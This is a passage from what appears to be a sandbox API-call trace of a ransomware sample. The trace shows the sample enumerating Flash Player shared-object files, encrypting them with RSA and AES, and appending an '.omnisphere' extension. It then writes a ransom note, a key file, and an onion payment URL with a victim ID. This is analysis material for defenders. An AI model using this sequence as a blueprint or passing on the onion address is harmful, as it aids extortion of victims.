nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0081.424] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="fpc.swf", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="fpc.swf", cAlternateFileName="")) returned 0 [0081.424] FindClose (in: hFindFile=0x16395e8 | out: hFindFile=0x16395e8) returned 1 [0081.424] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x58005c, dwReserved1=0x560043, cFileName=".", cAlternateFileName="")) returned 0x1639768 [0081.424] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6cd5b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c6f48d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c6f48d, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x58005c, dwReserved1=0x560043, cFileName="..", cAlternateFileName="")) returned 1 [0081.424] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x58005c, dwReserved1=0x560043, cFileName="fpc.swf", cAlternateFileName="")) returned 1 [0081.424] GetProcessHeap () returned 0x1600000 [0081.424] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x104) returned 0x164a5f8 [0081.424] PathCombineW (in: pszDest=0x164a5f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net", pszFile="fpc.swf" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf" [0081.424] GetProcessHeap () returned 0x1600000 [0081.424] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x108) returned 0x164ba00 [0081.425] PathCombineW (in: pszDest=0x164ba00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*" [0081.425] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*", lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x92, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0081.426] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c903f8, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c903f8, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x92, cFileName="..", cAlternateFileName="")) returned 1 [0081.426] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x92, cFileName="session.sol", cAlternateFileName="")) returned 1 [0081.426] GetProcessHeap () returned 0x1600000 [0081.426] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11c) returned 0x16512a8 [0081.426] PathCombineW (in: pszDest=0x16512a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", pszFile="session.sol" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol" [0081.426] StrStrW (lpFirst=".omnisphere", lpSrch=".sol") returned 0x0 [0081.426] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\session.sol"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0081.426] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x3e0c3dc | out: lpFileSize=0x3e0c3dc*=76) returned 1 [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.426] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] GetTickCount () returned 0x11548fc [0081.427] CryptAcquireContextW (in: phProv=0x3e0be64, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0be64*=0x1668bd0) returned 1 [0081.428] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0bdcc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be70 | out: phKey=0x3e0be70*=0x1639628) returned 1 [0081.428] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x75, dwBufLen=0x80 | out: pbData=0x3e0c31c*, pdwDataLen=0x3e0be60*=0x80) returned 1 [0081.428] CryptDestroyKey (hKey=0x1639628) returned 1 [0081.428] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0081.428] CreateFileMappingW (hFile=0x3c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4c, lpName=0x0) returned 0x3cc [0081.428] MapViewOfFile (hFileMappingObject=0x3cc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4c) returned 0x3430000 [0081.429] CryptAcquireContextW (in: phProv=0x3e0be54, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0be54*=0x1669120) returned 1 [0081.429] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0be0c, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0be64 | out: phKey=0x3e0be64*=0x16396e8) returned 1 [0081.429] CryptSetKeyParam (hKey=0x16396e8, dwParam=0x4, pbData=0x3e0be48*=0x2, dwFlags=0x0) returned 1 [0081.429] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0be50*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0be50*=0x10) returned 1 [0081.429] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.429] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.429] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.430] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.430] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0081.430] CryptDestroyKey (hKey=0x16396e8) returned 1 [0081.430] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0081.430] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x4c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0081.430] WriteFile (in: hFile=0x3c8, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0081.432] GetProcessHeap () returned 0x1600000 [0081.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x32c) returned 0x164f768 [0081.432] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\session.sol"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\session.sol.omnisphere")) returned 1 [0081.433] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol.omnisphere.id" [0081.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\session.sol.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0081.433] WriteFile (in: hFile=0x3d0, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0081.435] CloseHandle (hObject=0x3d0) returned 1 [0081.435] UnmapViewOfFile (lpBaseAddress=0x3430000) returned 1 [0081.435] CloseHandle (hObject=0x3cc) returned 1 [0081.435] SetEndOfFile (hFile=0x3c8) returned 1 [0081.436] FlushFileBuffers (hFile=0x3c8) returned 1 [0081.442] CloseHandle (hObject=0x3c8) returned 1 [0081.442] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\session.sol" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf") returned 1 [0081.442] GetProcessHeap () returned 0x1600000 [0081.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164faa0 [0081.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0081.442] GetProcessHeap () returned 0x1600000 [0081.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f5f8 [0081.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f5f8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0081.442] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0081.442] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.442] GetProcessHeap () returned 0x1600000 [0081.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f7f0 [0081.443] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f7f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0081.443] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0081.443] GetProcessHeap () returned 0x1600000 [0081.443] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x134) returned 0x1630180 [0081.443] PathCombineW (in: pszDest=0x1630180, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\!DECRYPT_OMNISPHERE.txt" [0081.443] GetProcessHeap () returned 0x1600000 [0081.443] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16618c8 [0081.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0081.445] WriteFile (in: hFile=0x3c8, lpBuffer=0x16618c8*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x16618c8*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0081.447] CloseHandle (hObject=0x3c8) returned 1 [0081.448] GetProcessHeap () returned 0x1600000 [0081.448] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164faa0 | out: hHeap=0x1600000) returned 1 [0081.448] GetProcessHeap () returned 0x1600000 [0081.448] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x12a) returned 0x164faa0 [0081.448] PathCombineW (in: pszDest=0x164faa0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\unique_decrypt.key" [0081.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\macromedia\\flash player\\#sharedobjects\\xcvudunh\\#appcontainer\\aa.online-metrix.net\\fpc.swf\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0081.448] WriteFile (in: hFile=0x3c8, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0081.449] CloseHandle (hObject=0x3c8) returned 1 [0081.450] GetProcessHeap () returned 0x1600000 [0081.450] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164faa0 | out: hHeap=0x1600000) returned 1 [0081.450] GetProcessHeap () returned 0x1600000 [0081.450] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16512a8 | out: hHeap=0x1600000) returned 1 [0081.450] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xe6c85414, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x0, dwReserved1=0x92, cFileName="session.sol", cAlternateFileName="")) returned 0 [0081.450] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0081.450] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Macromedia\\Flash Player\\#SharedObjects\\XCVUDUNH\\#AppContainer\\aa.online-metrix.net\\fpc.swf\\*", lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x11a5c8bf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11a5c8bf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0081.450] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6c6f48d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x11a5c8bf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11a5c8bf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0081.450] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a366d9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11a366d9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11a5c8bf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0081.450] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c75633, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xe6c75633, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x11a366d9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="session.sol.omnisphere", cAlternateFileName="SESSIO~1.OMN")) returned 1 [0081.450] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a366d9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11a366d9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11a366d9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="session.sol.omnisphere.id", cAlternateFileName="SESSIO~1.ID")) returned 1 [0081.450] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11a5c8bf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x11a5c8bf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x11a5c8bf, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1600000, dwReserved1=0x1, 